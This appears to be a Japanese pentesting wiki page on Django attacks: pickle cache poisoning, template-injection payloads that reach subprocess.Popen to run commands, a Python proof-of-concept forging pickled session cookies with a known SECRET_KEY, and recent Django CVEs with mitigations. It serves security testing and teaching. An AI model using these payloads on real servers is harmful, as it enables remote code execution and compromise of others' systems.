Django

キャッシュ操作によるRCE

Djangoのデフォルトのキャッシュ保存方法は Python pickles で、untrusted input is unpickled とRCEにつながる可能性があります。攻撃者がキャッシュへの書き込み権を得られれば、この脆弱性を基盤サーバ上でのRCEにエスカレートできます。

Djangoのキャッシュは次の4つのいずれかに保存されます: Redis、memory、files、またはdatabase。Redisサーバやデータベースに保存されたキャッシュが最も可能性の高い攻撃ベクトル（Redis injection や SQL injection）ですが、file-based cache を使って任意書き込みをRCEに変えることもあり得ます。メンテナはこれを非問題としてマークしています。cacheファイルのフォルダ、SQLテーブル名、Redisサーバの詳細は実装によって異なることに注意してください。

この HackerOne レポートは、SQLite データベースに保存された Django キャッシュを悪用する優れた再現例を提供します: https://hackerone.com/reports/1415436

Server-Side Template Injection (SSTI)

The Django Template Language (DTL) は Turing-complete です。ユーザー提供データが template string としてレンダリングされる場合（例えば Template(user_input).render() を呼ぶ、または |safe/format_html() によって自動エスケープが除去される場合）、攻撃者は完全な SSTI → RCE を達成する可能性があります。

検出

Template() / Engine.from_string() / render_to_string() への動的な呼び出しで、いかなる サニタイズされていないリクエストデータが含まれていないか確認する。
時間ベースまたは算術のペイロードを送る:

{{7*7}}

レンダリング結果に 49 が含まれる場合、入力はテンプレートエンジンによってコンパイルされています。

RCE へのプリミティブ

Djangoは __import__ への直接アクセスをブロックしますが、Pythonのオブジェクトグラフには到達可能です:

{{''.__class__.mro()[1].__subclasses__()}}

subprocess.Popen のインデックス（Python ビルドによって約 400–500）を見つけ、任意のコマンドを実行する:

{{''.__class__.mro()[1].__subclasses__()[438]('id',shell=True,stdout=-1).communicate()[0]}}

より安全な汎用ガジェットは、cls.__name__ == 'Popen' になるまで反復することです。

同じガジェットは、ユーザー入力を誤って処理する Debug Toolbar や Django-CMS のテンプレートレンダリング機能にも有効です。

参照: ReportLab/xhtml2pdf PDF export RCE

Django ベースのアプリケーションは、ビューを PDF としてエクスポートするために xhtml2pdf/ReportLab を統合することが一般的です。ユーザー制御の HTML が PDF 生成に流れ込むと、rl_safe_eval が三重括弧 [[[ ... ]]] 内の式を評価し、コード実行を可能にする（CVE-2023-33733）。詳細、ペイロード、および緩和策:

{{#ref}} ../../generic-methodologies-and-resources/python/bypass-python-sandboxes/reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md {{#endref}}

設定 SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer' が有効（または pickle を逆シリアライズするカスタムシリアライザが使われている）場合、Django はビューコードを呼び出す前にセッションクッキーをdecrypts and unpicklesします。したがって、有効な署名キー（デフォルトではプロジェクトの SECRET_KEY）を所持しているだけで即座にリモートコード実行が可能になります。

エクスプロイト要件

サーバーが PickleSerializer を使用している。
攻撃者が settings.SECRET_KEY を知っている、または推測できること（leaks via GitHub、.env、エラーページなど）。

概念実証

#!/usr/bin/env python3
from django.contrib.sessions.serializers import PickleSerializer
from django.core import signing
import os, base64

class RCE(object):
def __reduce__(self):
return (os.system, ("id > /tmp/pwned",))

mal = signing.dumps(RCE(), key=b'SECRET_KEY_HERE', serializer=PickleSerializer)
print(f"sessionid={mal}")

Send the resulting cookie, and the payload runs with the permissions of the WSGI worker.

緩和策: デフォルトの JSONSerializer を維持し、SECRET_KEY を定期的にローテーションし、SESSION_COOKIE_HTTPONLY を設定してください。

最近（2023-2025）の、Pentesters が確認すべき影響度の高い Django CVE

CVE-2025-48432 – Log Injection via unescaped request.path（修正: 2025-06-04）。攻撃者が改行や ANSI コードをログファイルに紛れ込ませ、下流のログ解析を汚染できる。Patch level ≥ 4.2.22 / 5.1.10 / 5.2.2。
CVE-2024-42005 – Critical SQL injection in QuerySet.values()/values_list() on JSONField (CVSS 9.8)。JSON のキーを細工してクォートから脱出し、任意の SQL を実行できる。修正バージョン: 4.2.15 / 5.0.8。

対象に応じて、X-Frame-Options のエラーページや /static/admin/css/base.css のハッシュでフレームワークの正確なバージョンを常にフィンガープリントし、上記をテストしてください。

References

Django security release – "Django 5.2.2, 5.1.10, 4.2.22 address CVE-2025-48432" – 2025-06-04.
OP-Innovate: "Django releases security updates to address SQL injection flaw CVE-2024-42005" – 2024-08-11.
0xdf: University (HTB) – xhtml2pdf/ReportLab CVE-2023-33733 を悪用して RCE を取得し AD にピボットする – https://0xdf.gitlab.io/2025/08/09/htb-university.html

6.7 KiB Raw Blame History Unescape Escape